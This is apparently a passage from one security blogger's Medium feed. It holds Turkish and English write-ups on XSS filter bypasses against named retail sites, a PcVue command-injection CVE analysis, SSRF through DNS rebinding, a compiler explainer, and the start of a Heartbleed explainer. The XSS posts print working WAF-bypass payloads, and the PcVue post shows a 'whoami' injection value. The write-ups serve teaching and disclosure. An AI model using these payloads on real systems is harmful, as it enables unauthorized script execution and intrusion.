“ <strong>|</strong> ” koyarsak sistem bunu geçerli bir değer olarak almıyor ve sanki <strong>&lt;</strong> işaretinden sonra hiçbir şey yazmamışsınız gibi varsayıyordu fakat eğer <strong>pipe </strong>dan sonra bir değer girersek bunu direkt olarak <strong>&lt;</strong> işaretinin yanına ekliyordu.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1001/1*zUohEKRTPbX59ND3xRVA4g.png" /></figure><p>Burda <strong>&lt;|a&gt;</strong> değeri WAF’ın kontrolünden geçiyordu ama bunu yazdıracak olan ön taraf <strong>| (pipe)</strong> değerini görmezden gelerek veya silerek son değere dahil etmiyordu onu aradan çıkartıyor ve sağ taraf ile sol tarafı birleştiryordu. Böylelikle ilk yasağı atlatabilmiştim.</p><p>Sonrasında sunucu <strong>alert()</strong> gibi değerleri yasakladığı ve benim de &lt;a&gt; tagını kullanarak aşağıdaki gibi bir <strong>XSS </strong>payloadı çalıştırmam gerektiği için.</p><pre>&lt;|a href=&quot;javascript:alert(1)&quot;&gt;XSS&lt;|a&gt;</pre><p>Şöyle birşey yapmaya karar verdim. Eğer cheet-sheet sayfalarında dolanırsanız “<strong>alert</strong>” fonksitonu yerine kullanabileceğiniz birçok güzel ve farklı fonksiyon olduğunu göreceksiniz. Bunlardan bazıları “<strong>print, confirm, console.log()”</strong> gibi fonksiyonlardır. Bunların hepsini, çok çeşitli yöntemler ile denesem de hiçbir sonuç alamadım her zaman WAF, bunların şüpheli bir değer olduğunu anlayıp engellemekteydi. Sonrasında yine araştırma yaparken “<strong>throw</strong>” adında bir fonksiyon gördüm bu, bile isteye bir hata oluşturmak içindi bunu “<strong>window.onerror”</strong> gibi bir fonksiyonla yani “<strong>hata oluştuğu zaman şunu çalıştır</strong>” diye kombine ederek deneyebilirdim. Şöyle bir test payloadı yazdım.</p><pre>&lt;|a href=&quot;javascript:a=1,b=alert,window.onerror=b;throw-a&quot;&gt;BAS&lt;|/a&gt;</pre><p>Bu payloadı farsça gibi sağdan anlatmaya başlasam daha anlaşılır olacak :)</p><p>İlk olarak korumayı atlatmak için <strong>pipe</strong> ile birlikte “<strong>BAS&lt;|a&gt;</strong>” kısmı var bu kısım, “<strong>BAS</strong>” diye bir link oluşturur ve buna basınca payladımız tetiklenir.</p><p>Sonraki “<strong>throw-a</strong>” <strong>a</strong> değişkeni ile bir hata “<strong>error</strong>” oluşturur. Bu, <strong>window.onerror</strong>’u tetiklemek için gerekli olan kısımdır. Daha sonra “<strong>window.onerror=b</strong>” bir hata oluştuğunda “<strong>b</strong>” olayını çalıştıracak fonksiyon bulunmaktadır. Ondan hemen sonra <strong>b=alert</strong> değeri vardır ki “<strong>herhangi bir error olduğunda burdaki alert fonksyonunu çalıştır</strong>” demek içindir. Son olarak “<strong>a=1</strong>” değeri ilk başta <strong>throw’un</strong> hata oluştururken içine koyması gereken rastgele bir değerdir onu da burda tanımladım. Burda her bir fonksiyonu <strong>a </strong>ve<strong> b</strong> gibi değerlere atamamın sebebi parantez değerlerini girmemek ve WAF kontrolüne takılmamaktı.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LEchmbLF6qHUcAFcD9JrcQ.png" /></figure><p>Bu paylodda <strong>alert()</strong> (parantezli), <strong>&lt;a&gt;, &lt;script&gt;</strong> gibi taglari ve fonksiyonları kullanmadık, kompleks bir atama yapıp WAF’ın anlamamasını sağlamaya çelıştım. Eğerki bunu payload olarak girersem;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bHbNPHe7HdKXSuBgO3UjyQ.png" /></figure><p>Bir pop-up alabildiğimi gördüm. Burda gördüğünüz gibi ekrana yazdığı payloadda pipe değerlerini kaldırdığını açıkça görebiliriz.</p><p>Bir diğer hedefim olan ayrıca sevdiğim bir marka olmasına karşın halen sorunu düzeltmediği için isim veremiyeceğim hedefe geçelim.</p><p>Öncelikte bu da diğer markalar gibi online mağazası bulunan bir marka. Fakat klasik ürünler satmak yerine genellikle askeri ürünler ve silahlar satmakta. Burda hem isim veremediğimden hem de diğerleri gibi bulmak için zorlu <strong>WAF </strong>korumalarını atlatmak zorunda kalmadığım için kısaca anlatmak istiyorum. Burda hatırladığım kadarıyla girilen arama parametresi ekrana yazılırken bir <strong>JSON </strong>objesinin içerisine yazılmaktaydı ve bu <strong>JSON </strong>objesi de <strong>&lt;script&gt;</strong> taglarinin içerisindeydi. Genelde Böyle durumlarda <strong>&lt;script&gt;</strong> taglarinin tipini belirlemek gerekir mesela bu durumda <strong>&lt;script type=”application/json”&gt;</strong> değeri verilir ki <strong>JSON </strong>dan kaçmayı başarsak bile script değerlerini browser çalıştırmasın bizde de durum böyleydi. Yani şöyle bir örnek verebiliriz.</p><pre>&lt;script type=application/json&gt;<br>{<br>&quot;aranandeger&quot; : &quot;silah&quot;,<br>&quot;time&quot; : &quot;15.11.2025&quot;<br>}<br>&lt;/script&gt;</pre><p>Burda da direkt olarak <strong>script </strong>taglari kabul ettiğini farkettim diğer sitelere göre daha basitti ve herhangi bir <strong>WAF </strong>korumasıyla karşılaşmadım. Yapmam gereken tek şey <strong>JSON’</strong>dan ve ondan sonra <strong>script </strong>taginden kaçarak başka bir etiket ile <strong>XSS </strong>almayı denemekti fakat ufak bir sorun vardı. “<strong>=</strong>” ve boşluk karakterlerini koymayı bi türlü başaramadım çünkü günün sonunda şöyle bir payload göndermeliydim.</p><pre>dotesec&quot;}&lt;/script&gt;&lt;img src=onerror=alert(&quot;DOTESEC&quot;)&gt;//</pre><p>burda <strong>“}</strong> değeri JSON’dan çıkmak <strong>&lt;/script&gt;</strong> de, tipi <strong>application/json</strong> olan <strong>script </strong>taglari arasından kaçmak içindi.</p><p>Biraz daha araştırmanın ardından boşluk yerlerine <strong>slash (/) </strong>koyabileceğimi öğrendim. Böylelikle payloadı şu şekilde düzenledim.</p><pre>dotesec&quot;}&lt;/script&gt;&lt;img/src/onerror=alert(&quot;DOTESEC&quot;)&gt;//</pre><p>Bunu gönderdiğimde <strong>XSS’in</strong> kanıtı olan bir pop-up alabildim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VeOTMd7JEcIJW-3bAGdOvA.png" /></figure><p>Dediğim gibi halen çözülemeyen bir olay olduğu için daha fazla detay veremiyorum bu yüzden bir sonraki hedefe geçelim.</p><p>Bu sefer tek seferde <strong>iki markayı</strong> anlatmak istiyorum <strong>arçelik ve beko</strong>. Bunlardan aynı yerde bahsetmemin sebebi tamamen aynı alt yapıyı kullanıyor olmaları ve yalnızca web sayfalarına farklı makyajlar yapıp yayınlamalarıdır. Bunu, evime gelen beko teknik servisinin üzerinde hem beko hem de arçelik yazmasından anlamıştım web sayfasına detaylı bakınca da bu kesinleşti.</p><p>Burda anlatacağım yöntem iki web sitesinde de <strong>XSS </strong>güvenlik açığını almama neden oldu. Yine web sayfasının arama yerinde ilk denemelerimi yapmaya karar verdim. Girdiğim inputu ekranda birden fazla yerde yazıyordu fakat en dikkat çeken yer şöyle bir yere yazmasıydı.</p><pre>&lt;script&gt;<br>  window.dataLayer = window.dataLayer || [];<br>  window.addEventListener(&#39;load&#39;, function () {<br>          dataLayer.push({<br>              &#39;event&#39;: &#39;Search&#39;,<br>              &#39;userId&#39;: ACC.cacheConfig.userId,<br>              &#39;SearchKey&#39;: &#39;BURAK&#39;<br>          });<br>...<br>...<br>&lt;/script&gt;</pre><p>Bu alanda <strong>SearchKey </strong>kısmında yazmaktaydı ve en önemlisi bu değer <strong>script taglari arasındaydı</strong>. Bu da demek oluyorduki bir daha <strong>&lt;script&gt;</strong> taglarini eklemeye çalışmama gerek yoktu.</p><p>İlk olarak;</p><pre>burak&#39;;alert(1)//</pre><p>Payloadını deneyerek JavaScript komutlarını çalıştırmayı denedim bu başarılı olursa, koda bu şekilde yansıyacak ve pop-up çıkaracaktı fakat koda bu şekilde eklendi.</p><pre>&lt;script&gt;<br>  window.dataLayer = window.dataLayer || [];<br>  window.addEventListener(&#39;load&#39;, function () {<br>          dataLayer.push({<br>              &#39;event&#39;: &#39;Search&#39;,<br>              &#39;userId&#39;: ACC.cacheConfig.userId,<br>              &#39;SearchKey&#39;: &#39;burak&#39;;(1)//&#39;<br>          });<br>...<br>...<br>&lt;/script&gt;</pre><p>Görmüş olduğunuz gibi <strong>alert </strong>değerini anlayıp bu değeri siliyordu<strong> </strong>ve <strong>koda dahil etmiyordu</strong> ama önemli olan nokta şu ki payloadın diğer taraflarını örneğin tek tırnak, parantez gibi yerleri <strong>hiçbir encoding yapmadan koda eklemekteydi</strong> bu da tırnaktan kurtulup JavaScript kodları eklememi çok kolaylaştıracaktı yapmam gereken tek şey <strong>alert()</strong> yerine alternatif başka bir fonksiyon bulup bununla payload oluşturmaktı. Tekrardan cheet-sheet sayfalarına döndüm o sıralar en çok ziyare ettiğim sayfalar onlardı :D Burda print fonksiyonunun da kullanılabileceğini öğrendim, bu genellikle daha az kullanıldığından bazı <strong>WAF’lar </strong>bunu yakalayamıyordu bu yüzden bunu denemeye karar verdim ve yeni payloadımı şu şekilde oluşturdum.</p><pre>dotesec&#39;});print(&quot;DOTESEC&quot;)({//</pre><p>Eğer <strong>WAF </strong>bunu engellemezse web sayfasına şu şekilde eklenmeli ve bir <strong>print </strong>ekranı çıkmalıydı fakat bunu denediğimde hiçbir şey olmadı ekranda hiçbir şey belirmedi. Bende refleks olduğu üzere ve sunucunun bunu decode ettiğini düşündüm için encoded şekilde göndermeyi denedim</p><pre>%64%6f%74%65%73%65%63%27%7d%29%3b%70%72%69%6e%74%28%22%44%4f%54%45%53%45%43%22%29%28%7b%2f%2f</pre><p>ve bu sefer gerçekten de çalıştı ve koda şu şekilde eklendi.</p><pre>&lt;script&gt;<br>  window.dataLayer = window.dataLayer || [];<br>  window.addEventListener(&#39;load&#39;, function () {<br>          dataLayer.push({<br>              &#39;event&#39;: &#39;Search&#39;,<br>              &#39;userId&#39;: ACC.cacheConfig.userId,<br>              &#39;SearchKey&#39;: &#39;dotesec&#39;});print(&quot;DOTESEC&quot;)({//&#39;<br>          });<br>...<br>...<br>&lt;/script&gt;</pre><p>Burda, tek tırnaklarının içinden kurtulup print fonksiyonunu çalıştırmayı başarmıştım ve bir <strong>print</strong> ekranı aldım. Bunu arçelik te de<strong> tamamen aynı şekilde</strong> denedim ve onda da işe yaradı.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GPsZqQqW_Kylc4eFgxcwYQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ruX7Qx_d2RjpKtCqCPbN8g.png" /></figure><p>Ve işte bu kadar. <strong>XSS </strong>bulma denemelerim iki yıl önce burada son bulduğunu varsayıyorum çünkü yedeklerimde daha fazla bilgi bulamadım :)</p><p>Bu web sayfalarında gördüğümüz <strong>XSS</strong> açıklarının ortaya çıkma sebebi, geliştiricilerin güvenliği tamamen <strong>WAF’a </strong>bırakması ve kullanıcıdan alınan verileri doğru şekilde işleyip denetlememeleridir. Bu senaryolarda, kullanıcıdan gelen her veriye şüpheyle yaklaşmak ve gerekli doğrulama ile filtreleme işlemlerini eksiksiz yapmak gerekir.</p><p><strong>Not:</strong> Bahsettiğim tüm markalar bu güvenlik açıklarını çoktan gidermiş olup, artık bu yöntemlerle söz konusu açıklar tetiklenmemektedir.</p><p>Okuduğunuz için teşekkür ederim; umarım paylaştıklarım sizin için faydalı olmuştur.</p><p><strong><em>-dotesec</em></strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f74cd6c0e59b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The RCE in PcVue! CVE-2025–9999 analysis.]]></title>
            <link>https://medium.com/@burakdemir1/the-rce-in-pcvue-cve-2025-9999-analysis-ddc670301c4f?source=rss-b6455f91de94------2</link>
            <guid isPermaLink="false">https://medium.com/p/ddc670301c4f</guid>
            <category><![CDATA[rce-vulnerability]]></category>
            <dc:creator><![CDATA[Burak]]></dc:creator>
            <pubDate>Wed, 29 Oct 2025 19:09:33 GMT</pubDate>
            <atom:updated>2025-10-29T19:09:33.528Z</atom:updated>
            <content:encoded><![CDATA[<p>Today we will look at a very basic but high impact vulnerability.</p><p>On September 5, a brand-new vulnerability appeared in PCVue software with a 7.6 score, which is high. It’s basically a remote code execution vulnerability with some differences. The real point is: when you finish this write-up, you’ll understand the principle of not trusting anyone or anything.</p><h4><strong>what is </strong>PCVue<strong>?</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vsc70rf7sjl5Pf-gQb1Niw.png" /></figure><p>PCVue is software used for monitoring and management systems. It’s used by large companies, factories, and major water storage facilities. Its role is important, which is why vulnerabilities in software like PCVue can have serious consequences.</p><p>After looking at, let’s deep into our vulnerability.</p><p>PCVue can communicate with and take on tasks from other devices on the local network because it’s management and monitoring software. It receives actions from clients in JSON objects and executes them. You can imagine there’s a webpage where you can input some actions you want the server to perform.</p><p>But this page has to be on the local network. PCVue only allows actions that come from the local network. That’s not a problem. This vulnerability isn’t like “a page that should be inside is outside.”</p><p>The core problem is that the PCVue server does not check which actions can be done, which can’t, or who can perform them. It was trusting anyone and doing any action, most likely because the developers who created PCVue thought the actions would come from the local network anyway, so there was no need to validate the user or the actions again. But we’ll understand that this was a bad idea.</p><p>The researchers first access the local network. This is simpler than you think. For example, an employee computer may have been captured, or there might be an SSRF vulnerability on a server that is accessible from outside the company network. Of course, that alone is not enough to exploit this vulnerability. The captured computer or the server with the SSRF must be able to reach the PCVue server. Remember: PCVue is a monitoring server too, so many employees can communicate with the PCVue server.</p><p>After a lot of reconnaissance, they found the PCVue server and sent a JSON object to it. It contained two inputs: a device and an action. The device section shows which device the action came from, and the action section assigns tasks to the server, such as “start” or “stop.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*T7xCYU_LRhgPMPvUo6Gbbg.gif" /></figure><p>Because the server doesn’t validate the user, any local user (or anyone who has access to the local network) can send actions. At that time the researchers had already sent actions to the server, but there was something even worse. After testing, they discovered that every command can also be injected into the device header. The server not only fails to validate users, it also doesn’t check whether the device is real.</p><p>They could inject commands just like that.</p><pre>{<br>&quot;device&quot;: &quot;device1; whoami&quot;;<br>&quot;action&quot;: &quot;start&quot;;<br>}</pre><p>And that means that, in some cases, if an attacker can access the local network, they can execute commands on the PCVue server too.</p><p>The score given for this gap is 7.6 because hackers need access to the local network. Otherwise the score would have been 9 or maybe even 10. As it should be, the problem was fixed quickly. Just imagine there was a big water management center running PCVue on their systems — it could be a disaster: the company might stop supplying water to other companies or cities, or it might send too much water.</p><p>This case showed us that we shouldn’t trust anyone or anything. Even if a request comes from your local network or your management service, you still need to verify it.</p><p>Thank you.</p><p><strong><em>-dotesec,</em></strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ddc670301c4f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I got SSRF With DNS Rebinding?]]></title>
            <link>https://medium.com/@burakdemir1/how-i-got-ssrf-with-dns-rebinding-62e907e3eb71?source=rss-b6455f91de94------2</link>
            <guid isPermaLink="false">https://medium.com/p/62e907e3eb71</guid>
            <category><![CDATA[dns]]></category>
            <category><![CDATA[ssrf]]></category>
            <dc:creator><![CDATA[Burak]]></dc:creator>
            <pubDate>Mon, 09 Dec 2024 17:06:10 GMT</pubDate>
            <atom:updated>2024-12-09T17:06:10.747Z</atom:updated>
            <content:encoded><![CDATA[<p>Hey guys, I hope you are doing great. I would like to share my experience to find a SSRF vulnerability with <strong>DNS Rebinding</strong> attacks. In this article I will describe what is DNS Rebinding? and how to use for got an SSRF attack?</p><h4>What is DNS Rebinding Attack?</h4><p><strong>DNS rebinding </strong>attack is a technique for bypass WAF’s and Restrictions with rapidly changing a domain’s IP address. In example, Let’s say we have an application and this application is getting some information from our domain name. It take’s a domain name from user and returns response. But this app is protecting with a WAF and this WAF is not allowing “<strong>Bad Domain Names</strong>”. This names is could be anything but in this case we ‘ll say “<strong>Internal IP’s</strong>”.</p><p>WAF, makes a DNS query for our domain name and get’s a IP address and if this IP, is not include<strong> any internal IP’s</strong> like “<strong>127.0.0.1</strong>”, “<strong>192.168.1.1</strong>” or “<strong>169.254.169.254</strong>”, it shows us a response. But an attacker can create a DNS server and make his own website than configure the DNS names to changing IP address rapidly. After that when the WAF get’s the hacker’s domain name and want’s to check the IP address, it could get something “<strong>Not bad</strong>” IP address like <strong>Google’s IP address</strong>. Then our request reach the server and server ‘ll want to check IP address for return the response and it could get internal IP like “<strong>127.0.0.1</strong>”, The server weren’t check the IP address is internal or not. Because the <strong>WAF already did this.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SDfM2iv-86wmRaxAsX06ZA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E9KOMlyXB6gDYzK5bIWX4Q.png" /></figure><h4>Get SSRF With DNS Rebinding</h4><p>Here is our app, the app take’s a URL and then access this URL and find images in the URL. In my case the application is returns only images file’s on the server. So even if I access the internal services, I ‘ll get access only internal images. Because of that is may not such a big deal, but the logic is same, so our goal is <strong>get access the internal images</strong>.</p><p>First of all, we need to find a <strong>SSRF</strong> vulnerability.</p><p>The target app is have a<strong> add profile picture </strong>feature, you can upload your photo from your device or if you want you can upload your photo via a URL. Local file upload section was boring, so I looked at external file upload section.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7VaiTaI84m1QKsl3KSPMuQ.png" /></figure><p>Of course I wrote a Burp collaborator’s IP for check the SSRF vulnerability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3cQJHmVSj3DO0WrM-0MubA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BrRUMY_DMEQhhF48qOJmTw.png" /></figure><p>Yes! this site is vulnerable to SSRF because I check my IP and realize this is not my IP address, this is a server’s IP. So the app make request in the <strong>server site</strong> instead of making in the client side. Than I write a internal IP addresses for access to internal systems and I realize, If I write a normal domain name like google.com, it return’s the images on google.com site. But when I try a internal service IP address like <strong>127.0.0.1</strong>, it returns a error message that “<strong>The URL is blocked</strong>”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wWRmtwgU3MhalNTL3d8rUw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*muXnXOonxZX0sQFDzSeFDg.png" /></figure><p>This means, the app has a WAF and WAF makes a DNS query when I write a image URL and gets the domain’s IP address. If the IP address match the any internal service IP address, it blocked our request and returns an error. After so much google search and AI chats, I learned <strong>DNS rebinding attacks</strong> and found an automatic website for DNS rebinding tests. I went <a href="https://lock.cmpxchg8b.com/rebinder.html"><strong>this</strong></a> site and create a test domain name. I write Google’s IP address (<strong>142.250.184.142</strong>) in the first input which is an unblocked IP address, and write <strong>127.0.0.1</strong> which is an internal service and blocked IP address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xPOe2LVV6-Kg2WKoNiUFMw.png" /></figure><p>Just because this test DNS server changes the IP address each request and has a very low <strong>TTL</strong> (Time-to-Live), when we want to try IP address resolution with a tool like “<strong>host</strong>”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*hl4NxZLA4JsCayP0P1l60g.png" /></figure><p>We got different answers, because this DNS server set up for this. This returns different IP address for each request. Then I used this domain name for target application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v9uxr9rz106919quDfP9jA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tq7u_3Bx3To_indM8FVK_g.png" /></figure><p>When I send the request, sometimes I got the same “The URL is blocked” error and sometimes I got 404 Not Found error. The blocked error is comes from the WAF and 404 response is come from the server. Server makes a request to google.com and receive 404 error code. If WAF’s DNS request returns <strong>127.0.0.1</strong> at that time, it returns blocked error message, otherwise <strong>if returns Google’s IP address at that time</strong>, it returns 404 status code. But still I can’t got “Internal images”. I had to catch the perfect time which time is When WAF makes DNS request it must get Google’s IP address and let them our request access the server. Then server’s DNS request must be return 127.0.0.1 so I get access to internal services. Because of that I sent the request over and over randomly and used intruder for automation and finally get access the internal images.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ekShbfyYet7UhaPoNEQ-Gg.png" /></figure><p>With this automation, I caught the <strong>perfect moment</strong>. The WAF’s DNS request returned Google’s IP address, because of Google’s IP address is not blocked on the WAF, it is allowed that our request access the main server. Then server makes another DNS request for return the images and it got an internal server’s IP (its own IP address actually) and returned us the images from <strong>127.0.0.1</strong>.</p><p>In my case I can only gets Internal images, so, that’s a not a such a big problem. But the way I move forward is the same as a normal and dangerous SSRF vulnerabilities. I hope it was been useful.</p><p><em>Thank You.</em></p><p><strong><em>-dotesec</em></strong></p><p><em>Source:</em></p><p><a href="https://en.wikipedia.org/wiki/DNS_rebinding">https://en.wikipedia.org/wiki/DNS_rebinding</a></p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2F90AdmqqPo1Y%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D90AdmqqPo1Y&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2F90AdmqqPo1Y%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/ee297a8dbcdb707ad02187d15648dae2/href">https://medium.com/media/ee297a8dbcdb707ad02187d15648dae2/href</a></iframe><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=62e907e3eb71" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How Computers Can Understand Programing Languages?]]></title>
            <link>https://medium.com/@burakdemir1/how-computers-can-understand-programing-languages-e0cd83c3e4a7?source=rss-b6455f91de94------2</link>
            <guid isPermaLink="false">https://medium.com/p/e0cd83c3e4a7</guid>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[english]]></category>
            <category><![CDATA[compilers]]></category>
            <category><![CDATA[computer-science]]></category>
            <dc:creator><![CDATA[Burak]]></dc:creator>
            <pubDate>Mon, 28 Oct 2024 21:17:12 GMT</pubDate>
            <atom:updated>2024-10-28T21:17:12.669Z</atom:updated>
            <content:encoded><![CDATA[<p>You may hear “Computers only understand <strong>0s and 1s</strong>” if so, how computers can actually understand Programing languages and they can do what we direct them to do?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kGBBm8qgfQVmq2P-dFauqQ.png" /></figure><p>Honestly, yes, the computers only understand 0s and 1s, so if computer wants to understand some programing languages, it must transform programing language to 0s and 1s. This process have 4 steps;</p><h4>1-) Preprocessing:</h4><p>Let this be our example code:</p><pre>#include &lt;stdio.h&gt;<br><br>int main() {<br>    printf(&quot;It was rare, I was there, I remember it All too well!\n&quot;);<br>    return 0;<br>}</pre><p>This is a simple code for prototype, it will print a simple piece of lyrics on terminal.</p><p>In C language, commonly we use “make” command for process our code. Just in case this code filename will be “alltoowell.c” if we want to build this code, we can run make command like this.</p><pre>make alltoowell</pre><p>The make command will doing all those 4 steps, if you look at the code again you will see some “<strong>#include</strong>“ line on the top. This lines called “<strong>Preprocessing directives</strong>”. Also the include code means in <strong>C</strong>, “get the libraries for rest of the code”. In this steps called “<strong>preprocessing</strong>”, the compiler will gets current libraries and “<strong>include</strong>” to code for the code runs correctly.</p><h4>2-) Compiling:</h4><p>Even this step’s name is “<strong>Compiling</strong>”, this step is not compiling the code fully. It is return our code to <strong>Assembly</strong> code. Now, you may be wonder, “<strong>What is Assembly code?</strong>” <strong><em>Assembly</em></strong>, is a low-level programing language in computer’s world. It comes out 1949 and todays it comes default in the computers CPU. In 49’s the computer world is not well develop, and computer scientist in 49’s is created this low-level language for computers will easily understand our language. Assembly code is hard to read and write, but it is near the binary codes and just because is still using in modern computers. If you want to more detail about Assembly, you can read this <a href="https://en.wikipedia.org/wiki/Assembly_language"><strong>article</strong></a>!</p><h4>3-) Assembling:</h4><p>In step 2, we were convert our code to Assembly code. If you are curious, you may wonder, if we can return our code to binary, why we convert to assembly first? The answer is, <strong>it is hard!</strong> We said “<strong>low-level language</strong>” for Assembly, it means, easier to translate to binary code than other high-level language like Python, JavaScript or Java. Because those<strong> high-level language</strong> have a lot of <strong>features</strong> and <strong>combinations</strong>. These languages is human readable but if we want to computers read, we have to convert our high-level code to Assembly, a low-level code.</p><h4>4-) Linking:</h4><p>First, the computer processes the preprocessor directives (like “#include” statements), then it processes the rest of the code. During this step, the code from “<strong>#include</strong>” files is combined with the other code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iyvmxqMOV3CxlBZ7zC2PgQ.png" /></figure><p>This is necessary for the code to run without any bugs. After all these steps, now we can run our compiled code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/777/1*HvpzWiV899V812MiOMBdYQ.png" /></figure><p>And finally we can run our code and this code is fully <strong>machine-readable</strong>. In here, if we can compiling some code we can also decompiling code too.</p><h4>Decompiling:</h4><p><strong>Decompiling</strong> is the process of access the main code from binary “<strong>compiled</strong>” code. Some software is already <strong>open-source</strong> and you don’t need to decompiled. For access their source code, you just going web and look it the <strong>open-code</strong>. But some software’s like <strong>Photoshop, Office-365 or Games</strong> like <strong>GTA-5</strong> is closed source and you can’t directly access their source code. In this topic you may think we can decompiling them and access their source codes, after we can change it, run it for free etc. But this is not work like that. In world of programing is a more than one way to do something. For example we can print 1 to n numbers in C with “<strong>for</strong>” or “<strong>while</strong>” loops.</p><p>Code with for loop:</p><pre>#include &lt;stdio.h&gt;<br><br>int main() {<br>    int n;<br><br>    printf(&quot;Enter a positive integer: &quot;);<br>    scanf(&quot;%d&quot;, &amp;n);<br><br>    for (int i = 1; i &lt;= n; i++) {<br>        printf(&quot;%d &quot;, i);<br>    }<br><br>    return 0;<br>}</pre><p>Same code with while loop:</p><pre>#include &lt;stdio.h&gt;<br><br>int main() {<br>    int n, i = 1;<br><br>    printf(&quot;Enter a positive integer: &quot;);<br>    scanf(&quot;%d&quot;, &amp;n);<br><br>    while (i &lt;= n) {<br>        printf(&quot;%d &quot;, i);<br>        i++;<br>    }<br><br>    return 0;<br>}</pre><p>And in other huge software’s like photoshop even small code differences can cause huge problems so we must try all possibilities. This is close to impossible.</p><p>In C we can “<strong>make</strong>” the program but most programming language like Python, we don’t need that. We just run it by typing python in front of our code like python invisible.py python, will automatically compiling our code and run it.</p><p><strong><em>Thank you</em></strong> for reading.</p><p><strong><em>-dotesec</em></strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e0cd83c3e4a7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Heartbleed Güvenlik Zaafiyeti Nedir?]]></title>
            <link>https://medium.com/@burakdemir1/heartbleed-g%C3%BCvenlik-zaafiyeti-nedir-2f60ec5217af?source=rss-b6455f91de94------2</link>
            <guid isPermaLink="false">https://medium.com/p/2f60ec5217af</guid>
            <category><![CDATA[heartbleed]]></category>
            <dc:creator><![CDATA[Burak]]></dc:creator>
            <pubDate>Fri, 25 Oct 2024 10:18:17 GMT</pubDate>
            <atom:updated>2024-10-25T10:18:17.789Z</atom:updated>
            <content:encoded><![CDATA[<p>Bugün aslında yaşlı bir güvenlik açığını inceleyeceğiz. <strong>Heartbleed</strong>, 2014 yılında <strong>OpenSSL</strong> kütüphanesinde <strong>CVE-2014–0160</strong> kodlu bir güvenlik zaafiyetidir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_TKmfjDE6x244VMfw9YW9Q.jpeg" /></figure><p><strong>OpenSSL</strong>, internet üzerinde birçok kuruluş tarafından kullanılan açık kaynak kodlu bir şifreleme kütüphanesidir. İstemcilerin ve sunucuların şifreli olarak güvenli bir şekilde iletişim kurmalarını sağlar. <strong>Heartbleed</strong>, OpenSSL tarafından kullanılan <strong>TLS</strong> şifrelemesinin “<strong>Heartbeat</strong>” uzantısında bulunan bir kontrol eksikliği yüzünden gerçekleşir. <strong>TLS</strong>, İstemci ve sunucu arasında şifreli bir bağlantı oluşturduğundan, bu bağlantının ne zaman bitmesi gerektiğine de karar vermesi gerekir. Bunu, basit bir zamanlayıcı kullanarak örneğin “30 dakika sonra bağlantı sonlandırılsın” gibi bir yöntem ile yapamaz çünkü, kullanıcıların ne kadar süre o bağlantıda zaman geçireceklereni bilemez. Örneğin bir kullanıcı o sayfada çok uzun bir makale okuyordur ve okuması 2 saati buluyordur. Bu gibi bir durumda kullanıcının okuma işlemi yarıda kesilir.</p><p>OpenSSL’in <strong>heartbeat</strong> kütüphanesi bu sorunu düzenli olarak “<strong>Kalp Atışı</strong>” mesajı göndermekle çözmüştür. TLS bağlantısı olan iki cihaz arasında istemci, belli aralıklarla ve belli boyutta bir “<strong>Kalp Atışı</strong>” isteği gönderir. Sunucu bu isteği aldığında istemciye aynı boyutta bir “<strong>Kalp Atışı</strong>” isteği daha göndermesi gerekir. Eğer istemci belli bir süre bu isteği göndermezse sunucu, istemcinin bağlantıdan ayrıldığını anlar ve TLS bağlantısını sonlandırır. Böylece OpenSSL, TLS bağlantılarının ne kadar sürmesi gerektiğini belirlemiş olur.</p><p>Hearbleed güvenlik zaafiyeti de OpenSSL’in bağlantının ne kadar sürmesi gerektiğini kararlaştıran Heartbeat kütüphanesinde yer alır. Normal şartlarda, istemci sunucuya belli bir miktarda örneğin 1kb boyutunda bir veri gönderir ve sunucu da istemciye <strong>tam olarak aynı boyutta</strong> 